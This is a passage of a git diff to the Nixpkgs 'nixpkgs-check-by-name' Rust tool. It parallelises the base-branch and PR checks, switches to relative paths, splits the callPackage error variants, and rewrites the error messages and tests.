Nixpkgs doesn't have any problems, run the ratchet checks against the base - // Nixpkgs - check_nixpkgs(base_nixpkgs, keep_nix_path, error_writer)?.result_map( - |base_nixpkgs_version| { - Ok(ratchet::Nixpkgs::compare( - base_nixpkgs_version, - nixpkgs_version, - )) - }, - ) - })?; + // Very easy to parallelise this, since it's totally independent + let base_thread = thread::spawn(move || check_nixpkgs(&base_nixpkgs, keep_nix_path)); + let main_result = check_nixpkgs(&main_nixpkgs, keep_nix_path)?; + + let base_result = match base_thread.join() { + Ok(res) => res?, + Err(e) => panic::resume_unwind(e), + }; - match check_result { - Failure(errors) => { + match (base_result, main_result) { + (Failure(_), Failure(errors)) => { + // Base branch fails and the PR doesn't fix it and may also introduce additional problems for error in errors { writeln!(error_writer, "{}", error.to_string().red())? } + writeln!(error_writer, "{}", "The base branch is broken and still has above problems with this PR, which need to be fixed first.\nConsider reverting the PR that introduced these problems in order to prevent more failures of unrelated PRs.".yellow())?; Ok(false) } - Success(()) => Ok(true), + (Failure(_), Success(_)) => { + writeln!( + error_writer, + "{}", + "The base branch is broken, but this PR fixes it. Nice job!".green() + )?; + Ok(true) + } + (Success(_), Failure(errors)) => { + for error in errors { + writeln!(error_writer, "{}", error.to_string().red())? + } + writeln!( + error_writer, + "{}", + "This PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break." + .yellow() + )?; + Ok(false) + } + (Success(base), Success(main)) => { + // Both base and main branch succeed, check ratchet state + match ratchet::Nixpkgs::compare(base, main) { + Failure(errors) => { + for error in errors { + writeln!(error_writer, "{}", error.to_string().red())? + } + writeln!(error_writer, "{}", "This PR introduces additional instances of discouraged patterns as listed above. Merging is discouraged but would not break the base branch.".yellow())?; + + Ok(false) + } + Success(()) => { + writeln!(error_writer, "{}", "Validated successfully".green())?; + Ok(true) + } + } + } } } @@ -113,10 +141,9 @@ pub fn process<W: io::Write>( /// This does not include ratchet checks, see ../README.md#ratchet-checks /// Instead a `ratchet::Nixpkgs` value is returned, whose `compare` method allows performing the /// ratchet check against another result. -pub fn check_nixpkgs<W: io::Write>( +pub fn check_nixpkgs( nixpkgs_path: &Path, keep_nix_path: bool, - error_writer: &mut W, ) -> validation::Result<ratchet::Nixpkgs> { let mut nix_file_store = NixFileStore::default(); @@ -129,11 +156,7 @@ pub fn check_nixpkgs<W: io::Write>( })?; if !nixpkgs_path.join(utils::BASE_SUBPATH).exists() { - writeln!( - error_writer, - "Given Nixpkgs path does not contain a {} subdirectory, no check necessary.", - utils::BASE_SUBPATH - )?; + // No pkgs/by-name directory, always valid Success(ratchet::Nixpkgs::default()) } else { check_structure(&nixpkgs_path, &mut nix_file_store)?.result_map(|package_names| @@ -163,8 +186,8 @@ mod tests { continue; } - let expected_errors = - fs::read_to_string(path.join("expected")).unwrap_or(String::new()); + let expected_errors = fs::read_to_string(path.join("expected")) + .expect("No expected file for test {name}"); test_nixpkgs(&name, &path, &expected_errors)?; } @@ -201,7 +224,7 @@ mod tests { test_nixpkgs( "case_sensitive", &path, - "pkgs/by-name/fo: Duplicate case-sensitive package directories \"foO\" and \"foo\".\n", + "pkgs/by-name/fo: Duplicate case-sensitive package directories \"foO\" and \"foo\".\nThis PR introduces the problems listed above. Please fix them before merging, otherwise the base branch would break.\n", )?; Ok(()) @@ -225,7 +248,11 @@ mod tests { let tmpdir = temp_root.path().join("symlinked"); temp_env::with_var("TMPDIR", Some(&tmpdir), || { - test_nixpkgs("symlinked_tmpdir", Path::new("tests/success"), "") + test_nixpkgs( + "symlinked_tmpdir", + Path::new("tests/success"), + "Validated successfully\n", + ) }) } @@ -240,7 +267,7 @@ mod tests { // We don't want coloring to mess up the tests let writer = temp_env::with_var("NO_COLOR", Some("1"), || -> anyhow::Result<_> { let mut writer = vec![]; - process(base_nixpkgs, &path, true, &mut writer) + process(base_nixpkgs.to_owned(), path.to_owned(), true, &mut writer) .with_context(|| format!("Failed test case {name}"))?; Ok(writer) })?; @@ -249,7 +276,7 @@ mod tests { if actual_errors != expected_errors { panic!( - "Failed test case {name}, expected these errors:\n\n{}\n\nbut got these:\n\n{}", + "Failed test case {name}, expected these errors:\n=======\n{}\n=======\nbut got these:\n=======\n{}\n=======", expected_errors, actual_errors ); } diff --git a/pkgs/test/nixpkgs-check-by-name/src/nix_file.rs b/pkgs/test/nixpkgs-check-by-name/src/nix_file.rs index 836c5e2dcdda5..e2dc1e1961414 100644 --- a/pkgs/test/nixpkgs-check-by-name/src/nix_file.rs +++ b/pkgs/test/nixpkgs-check-by-name/src/nix_file.rs @@ -2,10 +2,11 @@ use crate::utils::LineIndex; use anyhow::Context; +use itertools::Either::{self, Left, Right}; +use relative_path::RelativePathBuf; use rnix::ast; use rnix::ast::Expr; use rnix::ast::HasEntry; -use rnix::SyntaxKind; use rowan::ast::AstNode; use rowan::TextSize; use rowan::TokenAtOffset; @@ -79,7 +80,7 @@ impl NixFile { #[derive(Debug, PartialEq)] pub struct CallPackageArgumentInfo { /// The relative path of the first argument, or `None` if it's not a path. - pub relative_path: Option<PathBuf>, + pub relative_path: Option<RelativePathBuf>, /// Whether the second argument is an empty attribute set pub empty_arg: bool, } @@ -87,8 +88,9 @@ pub struct CallPackageArgumentInfo { impl NixFile { /// Returns information about callPackage arguments for an attribute at a specific line/column /// index. - /// If the location is not of the form `<attr> = callPackage <arg1> <arg2>;`, `None` is - /// returned. + /// If the definition at the given location is not of the form `<attr> = callPackage <arg1> <arg2>;`, + /// `Ok((None, String))` is returned, with `String` being the definition itself. + /// /// This function only returns `Err` for problems that can't be caused by the Nix contents, /// but rather problems in this programs code itself. /// @@ -109,7 +111,10 @@ impl NixFile { /// /// You'll get back /// ```rust - /// Some(CallPackageArgumentInfo { path = Some("default.nix"), empty_arg: true }) + /// Ok(( + /// Some(CallPackageArgumentInfo { path = Some("default.nix"), empty_arg: true }), + /// "foo = self.callPackage ./default.nix { };", + /// )) /// ``` /// /// Note that this also returns the same for `pythonPackages.callPackage`. It doesn't make an @@ -119,11 +124,16 @@ impl NixFile { line: usize, column: usize, relative_to: &Path, - ) -> anyhow::Result<Option<CallPackageArgumentInfo>> { - let Some(attrpath_value) = self.attrpath_value_at(line, column)? else { - return Ok(None); - }; - self.attrpath_value_call_package_argument_info(attrpath_value, relative_to) + ) -> anyhow::Result<(Option<CallPackageArgumentInfo>, String)> { + Ok(match self.attrpath_value_at(line, column)? { + Left(definition) => (None, definition), + Right(attrpath_value) => { + let definition = attrpath_value.to_string(); + let attrpath_value = + self.attrpath_value_call_package_argument_info(attrpath_value, relative_to)?; + (attrpath_value, definition) + } + }) } // Internal function mainly to make it independently testable @@ -131,7 +141,7 @@ impl NixFile { &self, line: usize, column: usize, - ) -> anyhow::Result<Option<ast::AttrpathValue>> { + ) -> anyhow::Result<Either<String, ast::AttrpathValue>> { let index = self.line_index.fromlinecolumn(line, column); let token_at_offset = self @@ -158,6 +168,22 @@ impl NixFile { ) }; + if ast::Attr::can_cast(node.kind()) { + // Something like `foo`, `"foo"` or `${"foo"}` + } else if ast::Inherit::can_cast(node.kind()) { + // Something like `inherit <attr>` or `inherit (<source>) <attr>` + // This is the only other way how `builtins.unsafeGetAttrPos` can return + // attribute positions, but we only look for ones like `<attr-path> = <value>`, so + // ignore this + return Ok(Left(node.to_string())); + } else { + // However, anything else is not expected and smells like a bug + anyhow::bail!( + "Node in {} is neither an attribute node nor an inherit node: {node:?}", + self.path.display() + ) + } + // node looks like "foo" let Some(attrpath_node) = node.parent() else { anyhow::bail!( @@ -166,10 +192,14 @@ impl NixFile { ) }; - if attrpath_node.kind() != SyntaxKind::NODE_ATTRPATH { - // This can happen for e.g. `inherit foo`, so definitely not a syntactic `callPackage` - return Ok(None); + if !ast::Attrpath::can_cast(attrpath_node.kind()) { + // We know that `node` is an attribute, its parent should be an attribute path + anyhow::bail!( + "In {}, attribute parent node is not an attribute path node: {attrpath_node:?}", + self.path.display() + ) } + // attrpath_node looks like "foo.bar" let Some(attrpath_value_node) = attrpath_node.parent() else { anyhow::bail!( @@ -189,7 +219,9 @@ impl NixFile { // unwrap is fine because we confirmed that we can cast with the above check. // We could avoid this `unwrap` for a `clone`, since `cast` consumes the argument, // but we still need it for the error message when the cast fails. - Ok(Some(ast::AttrpathValue::cast(attrpath_value_node).unwrap())) + Ok(Right( + ast::AttrpathValue::cast(attrpath_value_node).unwrap(), + )) } // Internal function mainly to make attrpath_value_at independently testable @@ -338,8 +370,8 @@ pub enum ResolvedPath { /// The path is outside the given absolute path Outside, /// The path is within the given absolute path. - /// The `PathBuf` is the relative path under the given absolute path. - Within(PathBuf), + /// The `RelativePathBuf` is the relative path under the given absolute path. + Within(RelativePathBuf), } impl NixFile { @@ -371,7 +403,9 @@ impl NixFile { // Check if it's within relative_to match resolved.strip_prefix(relative_to) { Err(_prefix_error) => ResolvedPath::Outside, - Ok(suffix) => ResolvedPath::Within(suffix.to_path_buf()), + Ok(suffix) => ResolvedPath::Within( + RelativePathBuf::from_path(suffix).expect("a relative path"), + ), } } } @@ -408,6 +442,7 @@ mod tests { /**/quuux/**/=/**/5/**/;/*E*/ inherit toInherit; + inherit (toInherit) toInherit; } "#}; @@ -417,20 +452,28 @@ mod tests { // These are builtins.unsafeGetAttrPos locations for the attributes let cases = [ - (2, 3, Some("foo = 1;")), - (3, 3, Some(r#""bar" = 2;"#)), - (4, 3, Some(r#"${"baz"} = 3;"#)), - (5, 3, Some(r#""${"qux"}" = 4;"#)), - (8, 3, Some("quux\n # B\n =\n # C\n 5\n # D\n ;")), - (17, 7, Some("quuux/**/=/**/5/**/;")), - (19, 10, None), + (2, 3, Right("foo = 1;")), + (3, 3, Right(r#""bar" = 2;"#)), + (4, 3, Right(r#"${"baz"} = 3;"#)), + (5, 3, Right(r#""${"qux"}" = 4;"#)), + (8, 3, Right("quux\n # B\n =\n # C\n 5\n # D\n ;")), + (17, 7, Right("quuux/**/=/**/5/**/;")), + (19, 10, Left("inherit toInherit;")), + (20, 22, Left("inherit (toInherit) toInherit;")), ]; for (line, column, expected_result) in cases { let actual_result = nix_file - .attrpath_value_at(line, column)? - .map(|node| node.to_string()); - assert_eq!(actual_result.as_deref(), expected_result); + .attrpath_value_at(line, column) + .context(format!("line {line}, column {column}"))? + .map_right(|node| node.to_string()); + let owned_expected_result = expected_result + .map(|x| x.to_string()) + .map_left(|x| x.to_string()); + assert_eq!( + actual_result, owned_expected_result, + "line {line}, column {column}" + ); } Ok(()) @@ -466,14 +509,14 @@ mod tests { ( 6, Some(CallPackageArgumentInfo { - relative_path: Some(PathBuf::from("file.nix")), + relative_path: Some(RelativePathBuf::from("file.nix")), empty_arg: true, }), ), ( 7, Some(CallPackageArgumentInfo { - relative_path: Some(PathBuf::from("file.nix")), + relative_path: Some(RelativePathBuf::from("file.nix")), empty_arg: true, }), ), @@ -487,7 +530,7 @@ mod tests { ( 9, Some(CallPackageArgumentInfo { - relative_path: Some(PathBuf::from("file.nix")), + relative_path: Some(RelativePathBuf::from("file.nix")), empty_arg: false, }), ), @@ -501,8 +544,10 @@ mod tests { ]; for (line, expected_result) in cases { - let actual_result = nix_file.call_package_argument_info_at(line, 3, temp_dir.path())?; - assert_eq!(actual_result, expected_result); + let (actual_result, _definition) = nix_file + .call_package_argument_info_at(line, 3, temp_dir.path()) + .context(format!("line {line}"))?; + assert_eq!(actual_result, expected_result, "line {line}"); } Ok(()) diff --git a/pkgs/test/nixpkgs-check-by-name/src/nixpkgs_problem.rs b/pkgs/test/nixpkgs-check-by-name/src/nixpkgs_problem.rs index e13869adaa419..7e257c0ed5d88 100644 --- a/pkgs/test/nixpkgs-check-by-name/src/nixpkgs_problem.rs +++ b/pkgs/test/nixpkgs-check-by-name/src/nixpkgs_problem.rs @@ -1,96 +1,141 @@ use crate::structure; use crate::utils::PACKAGE_NIX_FILENAME; +use indoc::writedoc; +use relative_path::RelativePath; +use relative_path::RelativePathBuf; use std::ffi::OsString; use std::fmt; -use std::io; -use std::path::PathBuf; /// Any problem that can occur when checking Nixpkgs +/// All paths are relative to Nixpkgs such that the error messages can't be influenced by Nixpkgs absolute +/// location +#[derive(Clone)] pub enum NixpkgsProblem { ShardNonDir { - relative_shard_path: PathBuf, + relative_shard_path: RelativePathBuf, }, InvalidShardName { - relative_shard_path: PathBuf, + relative_shard_path: RelativePathBuf, shard_name: String, }, PackageNonDir { - relative_package_dir: PathBuf, + relative_package_dir: RelativePathBuf, }, CaseSensitiveDuplicate { - relative_shard_path: PathBuf, + relative_shard_path: RelativePathBuf, first: OsString, second: OsString, }, InvalidPackageName { - relative_package_dir: PathBuf, + relative_package_dir: RelativePathBuf, package_name: String, }, IncorrectShard { - relative_package_dir: PathBuf, - correct_relative_package_dir: PathBuf, + relative_package_dir: RelativePathBuf, + correct_relative_package_dir: RelativePathBuf, }, PackageNixNonExistent { - relative_package_dir: PathBuf, + relative_package_dir: RelativePathBuf, }, PackageNixDir { - relative_package_dir: PathBuf, + relative_package_dir: RelativePathBuf, }, UndefinedAttr { - relative_package_file: PathBuf, + relative_package_file: RelativePathBuf, package_name: String, }, - WrongCallPackage { - relative_package_file: PathBuf, + EmptyArgument { package_name: String, + file: RelativePathBuf, + line: usize, + column: usize, + definition: String, + }, + NonToplevelCallPackage { + package_name: String, + file: RelativePathBuf, + line: usize, + column: usize, + definition: String, + }, + NonPath { + package_name: String, + file: RelativePathBuf, + line: usize, + column: usize, + definition: String, + }, + WrongCallPackagePath { + package_name: String, + file: RelativePathBuf, + line: usize, + actual_path: RelativePathBuf, + expected_path: RelativePathBuf, + }, + NonSyntacticCallPackage { + package_name: String, + file: RelativePathBuf, + line: usize, + column: usize, + definition: String, }, NonDerivation { - relative_package_file: PathBuf, + relative_package_file: RelativePathBuf, package_name: String, }, OutsideSymlink { - relative_package_dir: PathBuf, - subpath: PathBuf, + relative_package_dir: RelativePathBuf, + subpath: RelativePathBuf, }, UnresolvableSymlink { - relative_package_dir: PathBuf, - subpath: PathBuf, - io_error: io::Error, + relative_package_dir: RelativePathBuf, + subpath: RelativePathBuf, + io_error: String, }, PathInterpolation { - relative_package_dir: PathBuf, - subpath: PathBuf, + relative_package_dir: RelativePathBuf, + subpath: RelativePathBuf, line: usize, text: String, }, SearchPath { - relative_package_dir: PathBuf, - subpath: PathBuf, + relative_package_dir: RelativePathBuf, + subpath: RelativePathBuf, line: usize, text: String, }, OutsidePathReference { - relative_package_dir: PathBuf, - subpath: PathBuf, + relative_package_dir: RelativePathBuf, + subpath: RelativePathBuf, line: usize, text: String, }, UnresolvablePathReference { - relative_package_dir: PathBuf, - subpath: PathBuf, + relative_package_dir: RelativePathBuf, + subpath: RelativePathBuf, line: usize, text: String, - io_error: io::Error, + io_error: String, + }, + MovedOutOfByNameEmptyArg { + package_name: String, + call_package_path: Option<RelativePathBuf>, + file: RelativePathBuf, + }, + MovedOutOfByNameNonEmptyArg { + package_name: String, + call_package_path: Option<RelativePathBuf>, + file: RelativePathBuf, }, - MovedOutOfByName { + NewPackageNotUsingByNameEmptyArg { package_name: String, - call_package_path: Option<PathBuf>, - empty_arg: bool, + call_package_path: Option<RelativePathBuf>, + file: RelativePathBuf, }, - NewPackageNotUsingByName { + NewPackageNotUsingByNameNonEmptyArg { package_name: String, - call_package_path: Option<PathBuf>, - empty_arg: bool, + call_package_path: Option<RelativePathBuf>, + file: RelativePathBuf, }, InternalCallPackageUsed { attr_name: String, @@ -106,156 +151,238 @@ impl fmt::Display for NixpkgsProblem { NixpkgsProblem::ShardNonDir { relative_shard_path } => write!( f, - "{}: This is a file, but it should be a directory.", - relative_shard_path.display(), + "{relative_shard_path}: This is a file, but it should be a directory.", ), NixpkgsProblem::InvalidShardName { relative_shard_path, shard_name } => write!( f, - "{}: Invalid directory name \"{shard_name}\", must be at most 2 ASCII characters consisting of a-z, 0-9, \"-\" or \"_\".", - relative_shard_path.display() + "{relative_shard_path}: Invalid directory name \"{shard_name}\", must be at most 2 ASCII characters consisting of a-z, 0-9, \"-\" or \"_\".", ), NixpkgsProblem::PackageNonDir { relative_package_dir } => write!( f, - "{}: This path is a file, but it should be a directory.", - relative_package_dir.display(), + "{relative_package_dir}: This path is a file, but it should be a directory.", ), NixpkgsProblem::CaseSensitiveDuplicate { relative_shard_path, first, second } => write!( f, - "{}: Duplicate case-sensitive package directories {first:?} and {second:?}.", - relative_shard_path.display(), + "{relative_shard_path}: Duplicate case-sensitive package directories {first:?} and {second:?}.", ), NixpkgsProblem::InvalidPackageName { relative_package_dir, package_name } => write!( f, - "{}: Invalid package directory name \"{package_name}\", must be ASCII characters consisting of a-z, A-Z, 0-9, \"-\" or \"_\".", - relative_package_dir.display(), + "{relative_package_dir}: Invalid package directory name \"{package_name}\", must be ASCII characters consisting of a-z, A-Z, 0-9, \"-\" or \"_\".", ), NixpkgsProblem::IncorrectShard { relative_package_dir, correct_relative_package_dir } => write!( f, - "{}: Incorrect directory location, should be {} instead.", - relative_package_dir.display(), - correct_relative_package_dir.display(), + "{relative_package_dir}: Incorrect directory location, should be {correct_relative_package_dir} instead.", ), NixpkgsProblem::PackageNixNonExistent { relative_package_dir } => write!( f, - "{}: Missing required \"{PACKAGE_NIX_FILENAME}\" file.", - relative_package_dir.display(), + "{relative_package_dir}: Missing required \"{PACKAGE_NIX_FILENAME}\" file.", ), NixpkgsProblem::PackageNixDir { relative_package_dir } => write!( f, - "{}: \"{PACKAGE_NIX_FILENAME}\" must be a file.", - relative_package_dir.display(), + "{relative_package_dir}: \"{PACKAGE_NIX_FILENAME}\" must be a file.", ), NixpkgsProblem::UndefinedAttr { relative_package_file, package_name } => write!( f, - "pkgs.{package_name}: This attribute is not defined but it should be defined automatically as {}", - relative_package_file.display() + "pkgs.{package_name}: This attribute is not defined but it should be defined automatically as {relative_package_file}", ), - NixpkgsProblem::WrongCallPackage { relative_package_file, package_name } => - write!( + NixpkgsProblem::EmptyArgument { package_name, file, line, column, definition } => { + let relative_package_dir = structure::relative_dir_for_package(package_name); + let relative_package_file = structure::relative_file_for_package(package_name); + let indented_definition = indent_definition(*column, definition.clone()); + writedoc!( f, - "pkgs.{package_name}: This attribute is manually defined (most likely in pkgs/top-level/all-packages.nix), which is only allowed if the definition is of the form `pkgs.callPackage {} {{ ... }}` with a non-empty second argument.", - relative_package_file.display() - ), + " + - Because {relative_package_dir} exists, the attribute `pkgs.{package_name}` must be defined like + + {package_name} = callPackage ./{relative_package_file} {{ /* ... */ }}; + + However, in this PR, the second argument is empty. See the definition in {file}:{line}: + + {indented_definition} + + Such a definition is provided automatically and therefore not necessary. Please remove it. + ", + ) + } + NixpkgsProblem::NonToplevelCallPackage { package_name, file, line, column, definition } => { + let relative_package_dir = structure::relative_dir_for_package(package_name); + let relative_package_file = structure::relative_file_for_package(package_name); + let indented_definition = indent_definition(*column, definition.clone()); + writedoc!( + f, + " + - Because {relative_package_dir} exists, the attribute `pkgs.{package_name}` must be defined like + + {package_name} = callPackage ./{relative_package_file} {{ /* ... */ }}; + + However, in this PR, a different `callPackage` is used. See the definition in {file}:{line}: + + {indented_definition} + ", + ) + } + NixpkgsProblem::NonPath { package_name, file, line, column, definition } => { + let relative_package_dir = structure::relative_dir_for_package(package_name); + let relative_package_file = structure::relative_file_for_package(package_name); + let indented_definition = indent_definition(*column, definition.clone()); + writedoc!( + f, + " + - Because {relative_package_dir} exists, the attribute `pkgs.{package_name}` must be defined like + + {package_name} = callPackage ./{relative_package_file} {{ /* ... */ }}; + + However, in this PR, the first `callPackage` argument is not a path. See the definition in {file}:{line}: + + {indented_definition} + ", + ) + } + NixpkgsProblem::WrongCallPackagePath { package_name, file, line, actual_path, expected_path } => { + let relative_package_dir = structure::relative_dir_for_package(package_name); + let expected_path_expr = create_path_expr(file, expected_path); + let actual_path_expr = create_path_expr(file, actual_path); + writedoc! { + f, + " + - Because {relative_package_dir} exists, the attribute `pkgs.{package_name}` must be defined like + + {package_name} = callPackage {expected_path_expr} {{ /* ... */ }}; + + However, in this PR, the first `callPackage` argument is the wrong path. See the definition in {file}:{line}: + + {package_name} = callPackage {actual_path_expr} {{ /* ... */ }}; + ", + } + } + NixpkgsProblem::NonSyntacticCallPackage { package_name, file, line, column, definition } => { + let relative_package_dir = structure::relative_dir_for_package(package_name); + let relative_package_file = structure::relative_file_for_package(package_name); + let indented_definition = indent_definition(*column, definition.clone()); + writedoc!( + f, + " + - Because {relative_package_dir} exists, the attribute `pkgs.{package_name}` must be defined like + + {package_name} = callPackage ./{relative_package_file} {{ /* ... */ }}; + + However, in this PR, it isn't defined that way. See the definition in {file}:{line} + + {indented_definition} + ", + ) + } NixpkgsProblem::NonDerivation { relative_package_file, package_name } => write!( f, - "pkgs.{package_name}: This attribute defined by {} is not a derivation", - relative_package_file.display() + "pkgs.{package_name}: This attribute defined by {relative_package_file} is not a derivation", ), NixpkgsProblem::OutsideSymlink { relative_package_dir, subpath } => write!( f, - "{}: Path {} is a symlink pointing to a path outside the directory of that package.", - relative_package_dir.display(), - subpath.display(), + "{relative_package_dir}: Path {subpath} is a symlink pointing to a path outside the directory of that package.", ), NixpkgsProblem::UnresolvableSymlink { relative_package_dir, subpath, io_error } => write!( f, - "{}: Path {} is a symlink which cannot be resolved: {io_error}.", - relative_package_dir.display(), - subpath.display(), + "{relative_package_dir}: Path {subpath} is a symlink which cannot be resolved: {io_error}.", ), NixpkgsProblem::PathInterpolation { relative_package_dir, subpath, line, text } => write!( f, - "{}: File {} at line {line} contains the path expression \"{}\", which is not yet supported and may point outside the directory of that package.", - relative_package_dir.display(), - subpath.display(), - text + "{relative_package_dir}: File {subpath} at line {line} contains the path expression \"{text}\", which is not yet supported and may point outside the directory of that package.", ), NixpkgsProblem::SearchPath { relative_package_dir, subpath, line, text } => write!( f, - "{}: File {} at line {line} contains the nix search path expression \"{}\" which may point outside the directory of that package.", - relative_package_dir.display(), - subpath.display(), - text + "{relative_package_dir}: File {subpath} at line {line} contains the nix search path expression \"{text}\" which may point outside the directory of that package.", ), NixpkgsProblem::OutsidePathReference { relative_package_dir, subpath, line, text } => write!( f, - "{}: File {} at line {line} contains the path expression \"{}\" which may point outside the directory of that package.", - relative_package_dir.display(), - subpath.display(), - text, + "{relative_package_dir}: File {subpath} at line {line} contains the path expression \"{text}\" which may point outside the directory of that package.", ), NixpkgsProblem::UnresolvablePathReference { relative_package_dir, subpath, line, text, io_error } => write!( f, - "{}: File {} at line {line} contains the path expression \"{}\" which cannot be resolved: {io_error}.", - relative_package_dir.display(), - subpath.display(), - text, + "{relative_package_dir}: File {subpath} at line {line} contains the path expression \"{text}\" which cannot be resolved: {io_error}.", ), - NixpkgsProblem::MovedOutOfByName { package_name, call_package_path, empty_arg } => { + NixpkgsProblem::MovedOutOfByNameEmptyArg { package_name, call_package_path, file } => { let call_package_arg = if let Some(path) = &call_package_path { - format!("./{}", path.display()) + format!("./{path}") } else { "...".into() }; - if *empty_arg { - write!( - f, - "pkgs.{package_name}: This top-level package was previously defined in {}, but is now manually defined as `callPackage {call_package_arg} {{ }}` (e.g. in `pkgs/top-level/all-packages.nix`). Please move the package back and remove the manual `callPackage`.", - structure::relative_file_for_package(package_name).display(), - ) - } else { - // This can happen if users mistakenly assume that for custom arguments, - // pkgs/by-name can't be used. - write!( - f, - "pkgs.{package_name}: This top-level package was previously defined in {}, but is now manually defined as `callPackage {call_package_arg} {{ ... }}` (e.g. in `pkgs/top-level/all-packages.nix`). While the manual `callPackage` is still needed, it's not necessary to move the package files.", - structure::relative_file_for_package(package_name).display(), - ) - } + let relative_package_file = structure::relative_file_for_package(package_name); + writedoc!( + f, + " + - Attribute `pkgs.{package_name}` was previously defined in {relative_package_file}, but is now manually defined as `callPackage {call_package_arg} {{ /* ... */ }}` in {file}. + Please move the package back and remove the manual `callPackage`. + ", + ) }, - NixpkgsProblem::NewPackageNotUsingByName { package_name, call_package_path, empty_arg } => { + NixpkgsProblem::MovedOutOfByNameNonEmptyArg { package_name, call_package_path, file } => { let call_package_arg = if let Some(path) = &call_package_path { - format!("./{}", path.display()) + format!("./{}", path) } else { "...".into() }; - let extra = - if *empty_arg { - "Since the second `callPackage` argument is `{ }`, no manual `callPackage` (e.g. in `pkgs/top-level/all-packages.nix`) is needed anymore." + let relative_package_file = structure::relative_file_for_package(package_name); + // This can happen if users mistakenly assume that for custom arguments, + // pkgs/by-name can't be used. + writedoc!( + f, + " + - Attribute `pkgs.{package_name}` was previously defined in {relative_package_file}, but is now manually defined as `callPackage {call_package_arg} {{ ... }}` in {file}. + While the manual `callPackage` is still needed, it's not necessary to move the package files. + ", + ) + }, + NixpkgsProblem::NewPackageNotUsingByNameEmptyArg { package_name, call_package_path, file } => { + let call_package_arg = + if let Some(path) = &call_package_path { + format!("./{}", path) } else { - "Since the second `callPackage` argument is not `{ }`, the manual `callPackage` (e.g. in `pkgs/top-level/all-packages.nix`) is still needed." + "...".into() }; - write!( + let relative_package_file = structure::relative_file_for_package(package_name); + writedoc!( + f, + " + - Attribute `pkgs.{package_name}` is a new top-level package using `pkgs.callPackage {call_package_arg} {{ /* ... */ }}`. + Please define it in {relative_package_file} instead. + See `pkgs/by-name/README.md` for more details. + Since the second `callPackage` argument is `{{ }}`, no manual `callPackage` in {file} is needed anymore. + ", + ) + }, + NixpkgsProblem::NewPackageNotUsingByNameNonEmptyArg { package_name, call_package_path, file } => { + let call_package_arg = + if let Some(path) = &call_package_path { + format!("./{}", path) + } else { + "...".into() + }; + let relative_package_file = structure::relative_file_for_package(package_name); + writedoc!( f, - "pkgs.{package_name}: This is a new top-level package of the form `callPackage {call_package_arg} {{ }}`. Please define it in {} instead. See `pkgs/by-name/README.md` for more details. {extra}", - structure::relative_file_for_package(package_name).display(), + " + - Attribute `pkgs.{package_name}` is a new top-level package using `pkgs.callPackage {call_package_arg} {{ /* ... */ }}`. + Please define it in {relative_package_file} instead. + See `pkgs/by-name/README.md` for more details. + Since the second `callPackage` argument is not `{{ }}`, the manual `callPackage` in {file} is still needed. + ", ) }, NixpkgsProblem::InternalCallPackageUsed { attr_name } => @@ -271,3 +398,28 @@ impl fmt::Display for NixpkgsProblem { } } } + +fn indent_definition(column: usize, definition: String) -> String { + // The entire code should be indented 4 spaces + textwrap::indent( + // But first we want to strip the code's natural indentation + &textwrap::dedent( + // The definition _doesn't_ include the leading spaces, but we can + // recover those from the column + &format!("{}{definition}", " ".repeat(column - 1)), + ), + " ", + ) +} + +/// Creates a Nix path expression that when put into Nix file `from_file`, would point to the `to_file`. +fn create_path_expr( + from_file: impl AsRef<RelativePath>, + to_file: impl AsRef<RelativePath>, +) -> String { + // This `expect` calls should never trigger because we only call this function with files. + // That's why we `expect` them! + let from = from_file.as_ref().parent().expect("a parent for this path"); + let rel = from.relative(to_file); + format!("./{rel}") +} diff --git a/pkgs/test/nixpkgs-check-by-name/src/ratchet.rs b/pkgs/test/nixpkgs-check-by-name/src/ratchet.rs index 200bf92c516a1..8136d641c3515 100644 --- a/pkgs/test/nixpkgs-check-by-name/src/ratchet.rs +++ b/pkgs/test/nixpkgs-check-by-name/src/ratchet.rs @@ -4,8 +4,8 @@ use crate::nix_file::CallPackageArgumentInfo; use crate::nixpkgs_problem::NixpkgsProblem; -use crate::structure; use crate::validation::{self, Validation, Validation::Success}; +use relative_path::RelativePathBuf; use std::collections::HashMap; /// The ratchet value for the entirety of Nixpkgs. @@ -127,17 +127,14 @@ impl<Context: ToNixpkgsProblem> RatchetState<Context> { pub enum ManualDefinition {} impl ToNixpkgsProblem for ManualDefinition { - type ToContext = (); + type ToContext = NixpkgsProblem; fn to_nixpkgs_problem( - name: &str, + _name: &str, _optional_from: Option<()>, - _to: &Self::ToContext, + to: &Self::ToContext, ) -> NixpkgsProblem { - NixpkgsProblem::WrongCallPackage { - relative_package_file: structure::relative_file_for_package(name), - package_name: name.to_owned(), - } + (*to).clone() } } @@ -149,24 +146,38 @@ impl ToNixpkgsProblem for ManualDefinition { pub enum UsesByName {} impl ToNixpkgsProblem for UsesByName { - type ToContext = CallPackageArgumentInfo; + type ToContext = (CallPackageArgumentInfo, RelativePathBuf); fn to_nixpkgs_problem( name: &str, optional_from: Option<()>, - to: &Self::ToContext, + (to, file): &Self::ToContext, ) -> NixpkgsProblem { if let Some(()) = optional_from { - NixpkgsProblem::MovedOutOfByName { + if to.empty_arg { + NixpkgsProblem::MovedOutOfByNameEmptyArg { + package_name: name.to_owned(), + call_package_path: to.relative_path.clone(), + file: file.to_owned(), + } + } else { + NixpkgsProblem::MovedOutOfByNameNonEmptyArg { + package_name: name.to_owned(), + call_package_path: to.relative_path.clone(), + file: file.to_owned(), + } + } + } else if to.empty_arg { + NixpkgsProblem::NewPackageNotUsingByNameEmptyArg { package_name: name.to_owned(), call_package_path: to.relative_path.clone(), - empty_arg: to.empty_arg, + file: file.to_owned(), } } else { - NixpkgsProblem::NewPackageNotUsingByName { + NixpkgsProblem::NewPackageNotUsingByNameNonEmptyArg { package_name: name.to_owned(), call_package_path: to.relative_path.clone(), - empty_arg: to.empty_arg, + file: file.to_owned(), } } } diff --git a/pkgs/test/nixpkgs-check-by-name/src/references.rs b/pkgs/test/nixpkgs-check-by-name/src/references.rs index 169e996300baa..e2319163ccc67 100644 --- a/pkgs/test/nixpkgs-check-by-name/src/references.rs +++ b/pkgs/test/nixpkgs-check-by-name/src/references.rs @@ -2,6 +2,7 @@ use crate::nixpkgs_problem::NixpkgsProblem; use crate::utils; use crate::validation::{self, ResultIteratorExt, Validation::Success}; use crate::NixFileStore; +use relative_path::RelativePath; use anyhow::Context; use rowan::ast::AstNode; @@ -12,14 +13,14 @@ use std::path::Path; /// Both symlinks and Nix path expressions are checked. pub fn check_references( nix_file_store: &mut NixFileStore, - relative_package_dir: &Path, + relative_package_dir: &RelativePath, absolute_package_dir: &Path, ) 